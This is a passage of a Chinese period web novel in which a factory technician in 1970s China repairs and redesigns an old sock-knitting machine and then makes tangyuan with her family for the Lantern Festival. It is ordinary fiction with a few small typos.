“良辰的妈妈给我好些毛线票,不用就过期了,不如买毛线回来自己慢慢织,等秋冬再穿也行。” 姜海棠打算抓紧时间给姜国柱织一件毛衣,老人年龄大了,毛衣还能穿一段时间。 但这是个秘密不能说,姜海棠便找了理由含糊过去。 “原来这样,那行,我们周末一起去百货大楼,我正好也买点东西。” 康小夏以前的工资和发的票据这些都交给家里了,她几乎没有给自己买过什么。 现在不用把钱票都给家里,她手里也宽裕了不少。 两个人这边商量得差不多了,陆良辰和赵凯两个人谈完事情回来了。 “小夏,我送你回宿舍吧。”赵凯说道。 康小夏起身准备离开,姜海棠忙把点心给她带上,又拿出两份递给赵凯:“一份给你,一份给其他兄弟们带过去尝个鲜,带的不多,请兄弟们别嫌弃。” “谢谢嫂子,有的吃就不错了,还嫌弃!”赵凯笑容灿烂地道谢,接过点心,和康小夏一起离开了。 接下来就是紧张的工作,姜海棠听着厂区内机器轰鸣,闻着空气中弥漫着淡淡的羊毛气息,深知,新一天的工作充满挑战与机遇。 因为此前的研究项目都已经完成了,因此,她上工之后先掌握了一下布料纺织技术是不是还有问题,得知目前没有技术瓶颈,才放下心。 然后,她直接去了羊毛衫纺织车间,开始了解近期羊毛衫的纺织情况。 她穿梭在一台台纺织机之间,目光敏锐地观察着每一个生产环节。 手指轻轻抚过柔软的羊毛面料,感受着布料的质地与厚度,不时与身旁的工人交流几句,询问生产过程中是否遇到问题。 在查看完生产记录后,她满意地点点头,目前的生产状况良好,暂时无需过多操心。 姜海棠想起自己这段时间构思的羊毛衫样子,便给工人说了下,让小组长张巧红不忙的时候过来找自己。 她这一次构思出来的几款羊毛衫式样都不错,不光结合了后世会流行的趋势,还加入了她从京城获取的灵感。 张巧红一路小跑赶来,脸上洋溢着兴奋的笑容。 姜工又有新设计,她满心期待。 当姜海棠将设计图纸递给她时,她双手接过,眼神中满是惊喜与赞叹,迫不及待地展开图纸,仔仔细细地端详起来。 图纸上,一件件造型别致的羊毛衫跃然纸上,有的采用了独特的绞花图案,有的设计了新颖的领口样式,还有的在色彩搭配上别具一格。 “这些羊毛衫,是准备参加广交会的?姜工。”张巧红抬起头,眼中闪烁着光芒。 姜海棠郑重地点点头:“是的,这一次春季广交会,咱们的上一件羊毛衫,才能更多创汇。广交会是个大平台,要是能拿下大订单,以后我们厂子的分量可就重了。” “保证完成任务,不给厂子拖后腿!”张巧红挺直腰板,语气坚定。 “尽力就好,咱们的羊毛衫毕竟是新鲜事物,未必就能尽善尽美。”姜海棠看着热情饱满的张巧红,语气温和地说道,“提前准备,就是为了留出时间解决可能出现的问题。” 这个年代的人,对工作总是赋予无限热情,是后世不能相比的。 两人又交流了一些细节,就在张巧红准备离开时,她突然想起一件事,犹豫了一下,还是鼓起勇气开口。 “姜工,我有件事,想请您帮忙,不知道方便不方便。” 张巧红是个爽利的性格,能让她扭扭捏捏,姜海棠还真好奇了起来。 “你先说说,我再看能不能帮忙。” “就是我有个亲戚,最近弄了一台旧袜子机,就是不知道什么问题,用不来,您能不能帮忙给瞧瞧?” 说这话时,她的眼神中带着一丝忐忑,生怕给姜海棠添麻烦。 张巧红的这个亲戚,是个脑子活泛的,不知道通过什么途径,好不容易弄来一台旧袜子机。 打算偷偷在家里捣鼓些袜子换钱,可谁能想到,这台机器就像个“倔脾气”,怎么都摆弄不好,亲戚急得团团转,无奈之下才请张巧红帮忙。 姜海棠听到“袜子机”三个字,眼神瞬间亮了起来。 她脑海中迅速闪过关于袜子纺织技术的种种信息。在这个时代,袜子生产技术相对落后,市面上的袜子款式单一,生产效率也不高。 如果能在这方面有所突破,说不定能为厂子开辟新的发展方向。 “你给我带过来我看看,不过,我不一定能修好。”姜海棠说道。 张巧红喜出望外,连连点头:“谢谢姜工,太谢谢您了。” “这事儿,毕竟是……不管我修好修不好,你亲戚都不能带累到我,还请务必保密。” 姜海棠确实有心看看袜子机的原理,看看能不能改进机械,但并不意味着她愿意承担风险。 张巧红忙连连点头,这事儿,她就能保证:“姜工,我有分寸,能保证我亲戚不会出卖您。” 姜海棠理解地点点头:“我知道,如果修好了,以后能织袜子了,你亲戚也要多加小心。” “这是自然,这是自然,您放心,姜工,一定万分小心。” 两人约定好晚上把袜子机送过来后,张巧红匆匆离开了。 待张巧红走后,姜海棠坐在办公桌前,陷入了沉思。 她仔细回忆上辈子袜子纺织技术的发展历程。 记得在这个阶段,国外已经有了先进的自动织袜机,能够实现全自动化生产,效率极高。 而国内最好的也只是半机械化的电动织袜机,虽然比手工编织进步了不少,但仍需要人工进行换线、缝头等工序,不仅耗时耗力,生产出来的袜子质量也参差不齐。 虽然厂子目前没有规划袜子纺织技术,但多个技术多条路,掌握的技术越多,在未来纺织业走向没落的时候,纺织厂的抵抗力才会更加强。 如果能对这台旧袜子机进行改良,或者研究出更先进的生产技术,或许能给厂子带来新的经济效益。 想到这里,姜海棠内心涌起一股干劲,她决定好好研究一下这台袜子机,说不定能带来惊喜。 当天晚上,姜海棠吃完饭,回到自己宿舍里,就听到有人轻轻敲门。 等门打开,果然是一脸紧张的张巧红。 张巧红左右看看,这才钻进来。 她身后还跟着一个人,身上背着一个很大的包袱。 三个人到屋里,打开包袱,一台锈迹斑斑的织袜机出现在眼前。 姜海棠蹲下身,手指抚过机器铭牌——“上海针织机械厂1963年制”。 这台织袜机,并不是姜海棠想象中的先进机型,而是比较古老的手摇式织袜机。 这种机型比较小,便于操作,就是在家也能干,难怪张巧红的这个亲戚要冒险。 “姜工,还要麻烦您看看……”张巧红搓着手说。 她身后的男人更是一脸焦急,唯恐姜海棠说出来一句“不能修”。 精瘦的汉子搓着手,眼神忐忑地问:“姜工,能修吗?为了这台机器,我可把家里的积蓄都花了……” 姜海棠没答话,仔细检查起来。机器主轴有明显磨损,针床缺了三根针,她试着转动摇把,机器发出刺耳的“咔咔”声。 “有几个零件损坏了,虽然能修,但代价很大。” 瞧见张巧红和男人脸色发白,她补充道,“不过我可以尝试画改良图纸,然后找机械厂那边帮忙加工。” “要花很多钱把?”虽然听到有修好的可能,但一想到维修价格,男人有些微微颤抖。 “我画出图纸后,会交给机械厂批量生产,作为你提供机器的报酬,免费帮你维修,你同意吗?”姜海棠问道。 第169章 图纸 “要花很多钱吧?”男人喉结上下滚动,布满老茧的手指无意识摩挲着衣角,语气中带着干涩。 虽然听到机器有修好的可能,他很开心,但一想到维修价格,他的声音不自觉地发颤。 这个三十岁出头的年轻男人叫王良才,是张巧红的表哥。 姜海棠看到他的第一眼就觉得,这不是个甘于现状的人,他眼神中透着精明,似乎渴望着能闯出一番事业。 确实如姜海棠想的那样,王良才总想着怎么才能赚钱,好不容易得了这台袜子机的消息,他觉得机会到了。 为了这台袜子机,他几乎将家里的积蓄都投了进去,甚至还向亲戚借了不少钱。 如今机器不能用,想让机器动起来,可能要面对高昂的维修费用,他根本拿不出更多的钱。 王良才整个人像被抽走了骨头,双腿发软,差点站不稳。 他脑海中不断闪过这些日子的艰辛,妻子每天省吃俭用,老母亲的药钱都要精打细算,如今难不成真的要血本无归? 姜海棠擦拭着手上的机油,目光扫过王良才紧绷的肩膀和张巧红焦急的神情。 她将毛巾随意丢回到桌子上,声音沉稳:“你应该知道,就算机器维修好,袜子织出来了,你要出售也有难度,现在可不允许私人买卖。何况,袜子织出来只是第一步,后续还需要漂染、固色等多个环节,这台袜子机不足以完成后面的工序。” 姜海棠语气平淡的一番话,但听在王良才和张巧红的耳朵里,却像是炸雷一样。 是啊,只有袜子机显然不够,他想着只要偷偷把织出来的袜子卖出去,就能赚钱,却忽略了这些关键问题。 当时一心想投机取巧,如今却把自己逼入了绝境。 人还是要一步一个脚印的才行! 悔之晚矣! “表妹啊,都是我的错,我是猪油蒙了心,才想着投机取巧,如今把家里的钱都搭进去了,就连你们家的钱都搭进去了,以后家里的日子没法过了啊。我还有七十岁的老娘要养啊!” 王良才声音哽咽,双手抱头,蹲在了地上,肩膀不停地颤抖着。 张巧红眼眶泛红,急忙冲着姜海棠哀求:“姜工,请您指一条明路。” 张巧红对姜海棠有一种盲目的信任,她觉得,姜海棠能帮自己! 姜海棠拉过椅子坐下:“我画出图纸后,会交给机械厂批量生产。作为你提供机器的报酬,我可以免费帮你维修这台机器,你可愿意?” 王良才猛地抬起头,眼中满是疑惑:“我愿意。可是,可是我家里就算织出袜子,一样没办法卖出去啊……” “只要能批量生产,纺织厂下一步就会成立袜子纺织车间,到时候,你织出来的袜子,只要质量过关,都可以交到袜子厂。” “同时,你还可以从纺织厂领取材料进行加工,这样你就等于是代加工,进一步规避了风险,还能有稳定的收入来源。” 王良才的眼睛瞬间亮了起来,他激动地站起身,差点打翻旁边的凳子:“这可真是太好了,姜工,我愿意把这台机器交给您研究。” “那就这么说定了,不过,维修需要一段时间,你能等吗?” 姜海棠估算,这个时间不会太短,不过,可以考虑先加工部分配件,将王良才的这台机器修复好。 王良才立即用力点头:“我能等!能等!” 送走了王良才和张巧红兄妹,姜海棠又回到机器前,继续研究起这台机器。 白炽灯散发出暖黄色的光,将她的身影投射在墙上。 她时而皱眉思索,时而在本子上写写画画,零件在她手中不断被拆解、重组,时间一分一秒地流逝,不知不觉就忙到了半夜。 躺在床上,姜海棠的思绪却依旧停留在那台袜子机上。 忽然,她想起王良才这个人了。 这个人在上辈子也很有名,改革开放之后,他好像就办起了袜子厂,几年之后,成为远近有名的袜子大王,他的良才袜业更是当地的纳税大户,多次在报纸上和电视上出现。 没想到啊,这辈子竟然和这位未来的袜业大亨以这种方式见面了。 姜海棠清楚,这位未来大佬绝对是个有想法有方法的人,或许,可以与之进行更加深层次的合作。 不过,这事儿,自己一个人说了不算,还需要陆良辰和毛厂长的支持。 不知不觉,姜海棠睡着了。 恍惚间,她又梦到了那间熟悉的书房。 书房里依旧弥漫着淡淡的墨香,书架上摆满了各种书籍。她在书架间穿梭,竟然找到了一本关于袜子纺织机械的书。 她如饥似渴地读着,书中的知识仿佛化作一股清泉,涌入她的脑海。 一夜苦读,到了天亮的时候,姜海棠整个人都精神抖擞,之前那些还不是很明白的地方,也彻底通透了。 她简单洗漱后,陆良辰已经从食堂买了早饭回来。 “良辰,如果机械厂能生产袜子机,我们厂里能扩大规模吗?” 陆良辰笑道:“怎么又想到袜子机了?” “就是无意中弄到了一台袜子机,我觉得可以维修升级一下。”姜海棠没有打算瞒着陆良辰。 “你昨天晚上早早回去,不会就是因为这个原因吧?” 陆良辰昨天晚上就奇怪呢,为什么姜海棠早早就回到自己院子里去了,还没有带着小桃子一起。 “就知道瞒不过你。” “你要是有把握,可以和毛厂长商量,不过,第一批产品肯定要给咱们纺织厂。纺织厂现在有不少家属没有工作,还有些家里的孩子已经下乡好多年了,能多一些工作岗位,也能解决一部分职工的问题。” 现在厂里的这些老职工,可是建厂之初就在厂子里陪着厂子一起成长的有功之人,他们的问题,也是厂里领导们一直挂在心上的。 但厂里的工作岗位就只有这么多,就算他是厂长,也没有办法变出岗位。 如果能成立新的生产车间,那是再好不过。 办公室里,姜海棠全神贯注地画着图纸。 铅笔在纸上沙沙作响,一个个零件的结构、尺寸逐渐清晰地呈现出来。她不时查阅资料,反复核对数据。 她担心时间长了记忆重现误差画错图纸,连午饭都没有去吃,还是黎景程和段长河两个人吃饭的时候注意到她还在加班,帮她打了饭带过来的。 讲哈汤只是匆匆扒了几口饭,又开始忙碌起来。 黎景程和段长河两个人原本还有一些问题要请教姜海棠,但看姜海棠这么忙,也只能先离开。 经过一天的努力,到了下班的时候,姜海棠终于将所有的图纸都画了出来。 她小心翼翼地将图纸卷好,又拿出早就准备好的篮子。 篮子里装着在火车上热情的乘客们送的他们吃上几天了。 舒启华一看到姜海棠,脸上立刻露出了笑容,忙拉着她的手上下打量。 “你们从京城回来了?这一趟可还顺利?我听说,你们去京城的时候,火车遇到了麻烦?我可真是担心死了……” “您看我这不是好好的吗?”姜海棠笑着将手中的篮子递给舒启华。 舒启华连忙推辞说:“我们够吃够喝,你不用总是贴补我们,就那么点工资,还要养家糊口。” “舒老师,这些是火车上那些热情的人们送的,送了不少,我这也是借花献佛了。” 两人正说着话,顾昀笛从外面回来了。 “海棠来了啊?”顾昀笛脸上也都是笑。 “顾老师,我今天是专门来找您的。”姜海棠说。 顾昀笛听她这么说,立即来了兴趣:“今天又带了什么惊喜给我?” 姜海棠从包里拿出图纸,“这是袜子机的图纸,顾老师您看看。” “袜子机?”顾昀笛带着疑惑接过来。 展开图纸的瞬间,他的眼神就被牢牢吸引住了。 姜海棠这姑娘,可真是个神奇的人,总是带来惊喜。 不过想到姜海棠连羊毛衫机都能捣鼓出来,能画出袜子机的图纸,好像也不算什么了。 顾昀笛认认真真地将图纸看了一遍,时而点头,时而拿起笔在旁边标注。 许久,他终于抬起头:“不错,不错,虽然个别数据不太精准,但大图样没问题。这个机型要是生产出来了,可比现在大部分的袜子纺织机都要先进啊。” 此时的顾昀笛眼里已经看不到其他任何东西,只有图样在眼底闪烁着光芒。 “如果要生产,需要多长时间?”姜海棠直接切入主题。 顾昀笛沉思片刻:“估计需要不少时间,最少两三个月吧。从图纸变成模具,再到零件加工、组装调试,每一个环节都不能马虎。何况,我从来没有研究过袜子纺织机,得从头开始摸索。” “我手里现在有一台基础款的袜子纺织机,比这张图纸要落后一些,如果能拿出来供研究的话,是不是能加快速度?” 听到姜海棠手里竟然还有一台机器,顾昀笛眼底瞬间闪过惊喜的光芒。 “那是自然!有实物参考,能更直观地了解机械结构,很多问题就能迎刃而解,时间至少能缩短三分之一!” 最终,二人商量,抽空想办法将袜子机直接送到机械厂那边去。 顾昀笛轻轻摩挲着手中的图纸,感慨道:“机械厂和纺织厂得了你是真的遇到福星了啊!” 他简直不敢想,如果有三年时间,姜海棠能给这两个厂子带来多大的惊喜。 甚至不用三年,这两个厂子的生产规模就能大幅度提升。 已经是晚饭时间,姜海棠想着家里还有两个人,也没多留,告辞离开。 送走了姜海棠,顾昀笛还拿着图纸念念有词。 第170章 越帮越忙的父女俩 舒启华看着丈夫兴奋的样子,也忍不住笑了:“姜海棠是个人才,只可惜,现在都是工农兵大学,要是放在十年前,有系统的教导,这姑娘不知道会有何等成就。” “只要有本事,不管在什么时候,都能发光,我相信,海棠这孩子,将来一定大有所为。” 舒启华一边收拾着姜海棠带来的东西,一边充满信心地说。 “我总觉得,这孩子和我们有缘分,她提出的很多理念,和你我的理念都是接近的,甚至有点一脉相承的感觉。”舒启华沉吟道。 其实,从第一次和姜海棠接触的时候,他就已经有这种感觉了,只是当时还不是很明显,现在,这种感觉就更加强烈了。 顾昀笛这么一提醒,舒启华也觉得是这样。 “还别说,真的就是如此,这孩子,比我们手把手教导出来的学生还理解我们的思路。” “或许,这就是我们和她的缘分,也是我们的运气!” 顾昀笛看着妻子气色明显比去年好上许多,心中满是感激。 姜海棠不光是两个厂子的福星,也是他们两口子的贵人啊! “你说得对,最主要是这孩子心善,要是没有她,这么冷的天,我们两个只怕有得苦吃。” 之前几年,在那草窝棚里,两个人生不如死,是姜海棠和胡厂长、陆厂长还有毛厂长这些人,给了他们新生的机会。 “老顾,我们要更加努力地工作,才能对得起海棠、陆厂长和毛厂长这些人给我们的帮助,和为了我们冒的风险。” 回到家里,陆良辰也刚进门。 “良辰,我做饭,你帮我个忙行不?” 陆良辰笑着捏一下她的耳朵说:“和我还要这么客气?” “你可是我们纺织厂的大厂长呢,我能不客气点儿?”姜海棠促狭说。 “我这个大厂长,在家里也得听你的不是?”陆良辰笑眼弯弯,眼底眉间的宠溺如同实质。 姜海棠将自己要把袜子机送到机械厂的事说了,陆良辰一口答应下来。 “等下我让小吴开车过来,又便宜毛厂长了,好事从天降啊。” “我可是拿着机械厂的一份工资呢。”姜海棠倒是通透,并不觉得机械厂占了自己便宜。 “说起工资,今天财务科的人过来汇报,说从下个月开始,给你兑现十七级工资。” “会不会不太好?”姜海棠迟疑说道:“我们这种关系,会不会引起厂里其他人不满意?” “这事不是我决定的,是当初胡厂长决定的。”陆良辰并不觉得有什么不好。 姜海棠不能因为是自己对象而占便宜,但也不能因为是自己的对象就吃亏啊。 而且,他行得端走得正,根本不怕。 姜海棠也没继续反对,这确实是她应该的的。 陆良辰忽而想起什么,说道:“说起这个,我得给毛厂长提醒一句,我们纺织厂都给你涨工资了,机械厂应该也要给你涨工资吧?” 姜海棠没好气地瞪了他一眼:“这样说你也好意思。” “没什么不好意思的,不说别的,光是提花机,机械厂得了多少好处?现在又送他们织袜机,给我媳妇涨点工资不合适?” 陆良辰一点都不觉得这有什么不合理的,凭本事得的工资,拿着心里舒坦呢。 晚上吃完饭,陆良辰将织袜机送到机械厂之后,专门找了一趟毛厂长。 回来的时候,姜海棠正在忙活炒黑芝麻。 “你这是干什么呢?”陆良辰好奇地问。 “明天就是元宵节了,我打算做点儿汤圆,糯米已经泡得差不多了,我再炒点儿黑芝麻。” “糯米怎么弄碎?”陆良辰问。 “我刚才去刘主任家里借了他们的石磨。”姜海棠指了指案板上放着的小小的青石磨。 “你帮忙把石磨烫洗一下,就可以磨了。” 陆良辰拿起暖壶,将滚水浇在石磨的沟槽里烫了一遍,姜海棠这边芝麻已经出锅了。 她把泡好的糯米一点点倒进磨眼,陆良辰在一旁慢慢地推着磨柄。 乳白的米浆顺着石槽流进底下接着的布袋里,散发出清甜的香气。 小桃子听到了爸爸妈妈在厨房里说话,蹦蹦跳跳地跑过来找他们。 “爸爸,妈妈说,明天就吃汤圆了。” “小馋猫!”陆良辰笑着说。 不多时候,糯米磨好,米浆都装在了袋子里,姜海棠把米浆袋挂在了房梁下,又在布袋底下放了个大木盆,浑浊的水滴“啪嗒啪嗒”地往下落。 小桃子小娟蹲在盆边,好奇地看着:“妈妈,面漏出来了。” “没事,等水滤干就可以做元宵了,小桃子明天中午陪妈妈一起包元宵好不好啊?” 小桃子开心的不得了,连声欢呼着:“吃元宵了,吃元宵了!” 姜海棠指挥陆良辰把黑芝麻也磨碎了,这才把石磨洗干净放在一旁。 “小桃子,该回去睡觉了。” 小桃子虽然很想看这些东西怎么变成汤圆,但妈妈说该睡觉了,那就是该睡觉了。 小丫头牵着姜海棠的手,一步三回头地离开了厨房。 回到客厅里,陆良辰拿了一个信封交给姜海棠。 姜海棠好奇问:“这是什么?” “这是纺织厂那边的福利,他们发福利的时候,你不在厂里,毛厂长就做主给你兑换成票了。” 姜海棠摸着厚厚的一摞,打开一看,不光有票,还有三十块钱。 “怎么还有钱呢?” “光有票没有钱,也买不到东西啊。别人拿的是实物,你有钱有票很合理。” 姜海棠笑着拍拍脑袋说:“我都忙糊涂了。” “机械厂的福利还不错,等周末,你可以放心采购了。” 陆良辰这幅模样,妥妥的就是我媳妇真能干,我吃软饭我骄傲的样子。 “毛厂长说了,你下个月在机械厂的工资,也按照十七级算,以后我就靠你养了!” 姜海棠打了一个呵欠说:“你还真给毛厂长说了?” “那是当然,不说他装傻怎么办?” 陆良辰可不想姜海棠吃亏,自己人,吃一点亏都不行。 “海棠,你今天忙了一整天,今晚早点休息吧。小桃子有我呢。” 小桃子听到陆良辰这么说,立即说:“妈妈晚安,你要早点睡觉哦,明天再陪小桃子玩,小桃子是大孩子了,自己睡!” 姜海棠抱起小桃子亲了一口才离开,今天她确实累了,感觉全身的力气都被抽干了一样,需要好好睡觉补充体力。 第二日中午,姜海棠从食堂打饭回家,一家三口吃完饭,就开始包汤圆。 晾干的糯米粉雪白且松软,倒在搪瓷盆里像新棉絮一样松软。她拿过一碗温热的糖水开始和面。 “我们今天做芝麻馅的,再加一点糖玫瑰酱,味道肯定好。” 陆良辰和小桃子两个人其实帮不了什么忙,但两个人都在努力的帮忙。 “哎呀,你别倒这么多的水,多了……”姜海棠一面制止陆良辰捣乱,一面叮嘱小桃子听话,生怕这父女两个一个不小心就帮倒忙。 最后,她给了父女两个一把核桃,让他们两个剥核桃去了,两个人这才安生下来。 面和好后,姜海棠把芝麻糊、核桃碎、花生碎拌在一起,又加了一勺猪油、两勺白糖,最后淋上玫瑰色的糖玫瑰酱,满屋子顿时香气四溢。 “妈妈,好香啊,现在能吃吗?”小桃子没忍住,看着姜海棠搅拌馅料的筷子,吧唧了几下小嘴巴。 姜海棠看着如此可爱的小闺女,笑着用筷子沾了点馅,给她尝了一口。 小桃子被香得眯起了眼睛,像只餍足的小猫。 随后,姜海棠把和好的面团分成小剂子,把馅料裹进去。 陆良辰和小桃子两个还想主动参与,被姜海棠严令制止了。 这父女两个帮忙,典型的越帮越忙! 果然,在姜海棠一个不注意的时候,小桃子已经弄得满手都是馅…… “妈妈,小桃子错了!”小丫头倒是乖觉,立即道歉。 “陆良辰,你把小桃子看好,要是看不好,汤圆你别吃了!” 陆良辰:…… 也不是他把馅儿弄小桃子手上的啊,为什么要惩罚他不许吃汤圆? “海棠,你偏心!”陆良辰不满地说。 “那可不,你这么大的人了,连个孩子都看不好!”姜海棠一面说话,一面飞快地包汤圆。 小桃子好不容易弄干净手上的馅儿,又打算凑上前,陆良辰忙一把把她拉住。 “妈妈,为什么要吃汤圆啊?”人不能过去,小桃子还是不断地刷存在感。 “老人说,元宵圆圆,日子甜甜。吃了元宵,一家人整年都团团圆圆。” “海棠,是不是有点多了?我们就三个人。”看着簸箕里一个个圆鼓鼓的汤圆,陆良辰问。 姜海棠一边包汤圆,一边算着:“得给张叔送几个过去,给他从京城带的礼还没顾得上送,正好一起送过去。隔壁刘主任家要送几个过去,顾老师和舒老师那边要送一些,还得请赵凯和小夏他们过来尝一尝……这些一点都不多。” 第171章 笨鸟要先飞 将最后一个汤圆包好,姜海棠轻轻舒了口气。 案板上,白白胖胖圆鼓鼓的汤圆整齐排列,像一群等待检阅的小士兵。 她精心挑选出一部分,分成两份,用干净的瓷碗装好,一份搭配上一盒精致的京八件,准备给张尚文送去,另外一份则是给顾昀笛夫妻的。 剩下的汤圆被她小心翼翼地放进簸箕,上面覆盖了一层湿润的棉布,保持汤圆的新鲜。 此时的食堂里,冬日午后的阳光透过窗户斜斜地洒进来,在地面上拉出长长的光影。 大师傅张尚文刚忙完中午的活儿,正惬意地躺在摇椅上。 收音机里播放着悠扬的戏曲,他随着节奏轻轻摇晃着脑袋,脸上满是闲适的神情。 听到脚步声,张尚文睁开眼睛,瞧见姜海棠提着篮子走进来,脸上瞬间绽开慈和的笑容:“海棠你怎么这时候来了?” “中午包了点汤圆,给您老送过来一点,算是给您老拜个晚年。” 姜海棠将篮子里的大碗汤圆和京八件放在桌上,动作轻柔,眉眼弯弯,语气里满是亲昵。 张尚文连忙摆摆手,脸上满是心疼:“这玩意儿费材料还费心思,你弄这么点不容易,自己吃就行,何苦想着我。” “叔,您的情意,我心里一直记着呢,这是我当侄女的孝敬您和婶子的。” 姜海棠的声音真挚而诚恳,眼睛里闪烁着明媚的光芒,张尚文一时竟难以将眼前这个明媚而热烈的姑娘和当初那个一身破衣烂衫的姜海棠联系起来。 看着眼前懂事的姑娘,张尚文心里满是欣慰。 “海棠啊,这段时间,你们去了京城,李家那边这个年过的鸡飞狗跳,我怕他们对你下手,你得小心点儿。” 张尚文的压低了声音,不无担忧的说。 李家那个姑娘,年龄虽然小,但不是个省油的灯,有好几次,他听到她嘀嘀咕咕提到姜海棠。 姜海棠心里猛地咯噔一下,她知道张尚文绝不会无缘无故说出这番话。 她一点都不怀疑张尚文这话里的真实性,说起来,厂食堂是个信息汇集的地方,很多时候,你一言我一语的,关联起来,很多事情就变得有迹可循了。 她郑重地点点头,语气坚定:“叔,谢谢您,我会小心的。” 虽然不知道李家到底发生了什么,但李家人都不是好人,为了达到目的,说不得就会做些伤害别人的事也未可知。 从食堂出来后,姜海棠又顺路将剩下的汤圆送到顾昀笛两口子家。 忙完这一切,她才匆匆赶往办公室。 刚踏进实验室的门,就被黎景程和段长河两人围了上来。 两人手里拿着笔记本,上面密密麻麻记满了问题,眼神中满是急切和求知的渴望。 姜海棠耐心地一一解答,末了,笑着调侃道:“你们不是回家过年去了?怎么看着倒像是没休息一样?积攒这么多的问题。” “我们两个正月初二就回来了,人说笨鸟先飞,我们两个不聪明,可不得更加努力才行?”黎景程挠挠头,憨厚地笑道。 姜海棠看着这两个年轻人,心里满是感慨。 他们哪里是笨鸟,明明聪明又勤奋。 他们是工农兵大学生,这些大学生,很多根本什么都没学懂,但黎景程和段长河两个显然是认真学习的那一类学生。 就算现在在厂里,他们付出的努力也一直都不少。 假以时日,必定能在科研领域大放异彩。 她语重心长地说:“倒是也不用这么刻苦,该休息的时候休息,该陪家人的时候陪陪家人。” “我们知道了,姜工,您放心,我们不会让自己生病,耽误工作进度的!”段长河眼神坚定,声音洪亮。 姜海棠无奈地笑了笑,罢了,年轻人有冲劲是好事。 人不是都常说,少壮不努力,老大徒伤悲。 年轻的时候多努力一点,以后会更顺利一点,是好事。 此时的姜海棠浑然忘记了,她比这两个年轻人还要年轻一些! 她开口邀请道:“我包了汤圆,你们两个晚上到我,哦,到陆厂长家里,一起吃汤圆吧。” 黎景程和段长河对视一眼,眼中满是惊喜和难以置信。 两个人对视一眼,立即答应下来。 以前,能得到姜工邀请的只有康小夏。 现在他们得到了邀请,就像是得到了某种特殊的认可,仿佛自己也成了这个温暖集体中的一员。 姜海棠可不知道,自己这句同事之间的邀请,竟然被二人如此解读。 不过,就算她知道了他们的想法,也不会介意。 她对这两个年轻人很看好。 她学历不如他们,拿的工资高于他们。 换了一般人,肯定不能接受,说不定都生出多少是非了。 可这两个年轻人人品很好,从来都没有生出嫉妒的心,相反,更加努力了。 下班回到家,姜海棠就一头扎进了厨房。 今晚有四个客人,再加上自家一家三口,做饭可不是个小工程。 她系上围裙,熟练地洗菜、切菜,厨房里响起“咚咚咚”的切菜声, 正忙得不可开交时,康小夏风风火火地来了。 她一进门就挽起袖子,大大咧咧地说:“海棠,我来帮忙!” 说着,她利落地洗手,加入到做饭的行列中。 两人配合默契,一个掌勺,一个打下手,不多时,红烧肉炖土豆的香气便弥漫了整个厨房,白菜炒粉条的鲜香、油渣子炒咸菜丝的独特风味也依次飘散开来。 主食是金黄的玉米面饼子,焦黄焦黄的,看着就让人食欲大增。 姜海棠没有另外做汤,想着等会儿煮汤圆,在这寒冷的天气里,一碗热乎乎、甜丝丝的汤圆,最是暖胃暖心。 这边饭菜刚做好,还没来得及端上桌,就听到院子里传来一阵脚步声。 姜海棠掀开门帘往外一看,只见陆良辰、赵凯、黎景程和段长河四人正说笑着走进来。 和赵凯的大大咧咧不同,黎景程和段长河显得有些局促不安。 他们站在院子里,眼神有些紧张地打量着这个厂长的家,手脚都不知道该往哪儿放。 “你们怎么一起到了?”姜海棠笑着问道。 “我和赵凯到的时候,他们两个站在门口,就一起进来了。”陆良辰解释道,脸上带着温和的笑意。 他对这两个努力上进的小伙子印象很好,在他看来,他们就是姜海棠在工作上的得力助手。 将来,还有可能成为厂里独当一面的技术人员。 “良辰,你先把饭端过去,我煮好汤圆就过来。”姜海棠说完,放下门帘回到灶台前。 锅里的水已经欢快地“咕嘟咕嘟”冒泡,她将包好的汤圆一个个轻轻放进锅里,然后用木勺小心地搅动水面,防止汤圆粘连。 一个个雪白的汤圆在滚水里上下翻滚,像是在欢快地跳舞。 这时,小桃子蹦蹦跳跳地跑进厨房,眼睛亮晶晶地盯着锅里的汤圆:“妈妈,是不是可以吃汤圆了?我想了一下午,都流口水了。” 姜海棠宠溺地捏了捏小桃子红扑扑的脸蛋,笑着说:“小馋猫,先去洗手,等你洗完手,就能吃汤圆了。” “好耶,好耶!”小桃子拍着小手,兴奋地跑开了。 陆良辰将赵凯等三人安顿在客厅里之后,和康小夏一起端菜。 饭菜摆好,小桃子已经洗完手,正站在一旁,认真地看着自己白嫩嫩的小手,像是在检查是否洗得干净。 “爸爸,小手手洗干净了!”小桃子仰着小脸,骄傲地说道。 “小桃子真棒,可以麻烦小桃子帮忙摆放一下小凳子吗?”陆良辰蹲下身子,温柔地说。 “可以!”小桃子立刻忙活起来,她掰着小手指,嘴里念念有词,认真地数着人数,计算着需要摆放几张凳子,模样可爱极了。 黎景程和段长河两个人面面相觑,似乎眼前的厂长,他们根本不认识一样。 确实,这样的陆厂长,他们从来都没有见过。 原来冷冰冰的陆厂长,回到家里也要哄孩子,也要端饭。 厨房里,姜海棠拿出一个大海碗,舀了满满一碗汤圆,又淋上一勺香气四溢的糖桂花。 这罐糖桂花是从火车上带回来的,也不知道是谁悄悄塞给他们的,不过腌制得极好,浓郁的香味一打开盖子就扑鼻而来。 “这一碗我给刘主任家送去,小夏,你帮忙把剩下的都舀出来。”姜海棠将大海碗小心地放进篮子里。 “妈妈,我要给孔奶奶他们送过去!”小桃子自告奋勇地说,甚至已经打算动手抓篮子了。 姜海棠哪里放心让这么小的孩子送滚烫的汤圆,她笑着说:“那小桃子陪着妈妈一起过去好不好?” 母女俩手牵手,很快就到了隔壁。 隔壁的饭也刚刚做好,看到姜海棠送来了一大碗汤圆,刘主任一家连忙道谢。 姜海棠回到家里,康小夏已经把汤圆都舀出来端到了客厅里。 桌子上除了她做的饭菜,还多了两个饭盒。 一个饭盒里装着香气扑鼻的大骨头炖萝卜,另一个饭盒里是色泽诱人的酸豆角炒肉末,此外,还有一盘松软的杂粮馒头。 第172章 醉酒的媳妇 不用想也知道,这是黎景程和段长河两人带来的。 “你们来就来了,怎么还带这些?”姜海棠嗔怪地说,眼神里却满是笑意。 “我们两个胃口大。”黎景程不好意思地挠挠头,笑着说。 “请你们来过节,还能差了你们这些吃的?以后可不能再这样了。”姜海棠叮嘱道。 两个年轻人,工资不算很高,吃得又不少,存点钱不容易呢。 这时,赵凯从大衣兜里摸出一瓶酒,脸上带着得意的笑容:“我今天也带了好东西来,正好人多热闹,我们把这瓶酒喝了。” 陆良辰挑眉问道:“你那边都安顿好了吧?” “肯定,要不然,我也不敢喝酒啊。”赵凯拍着胸脯保证道。 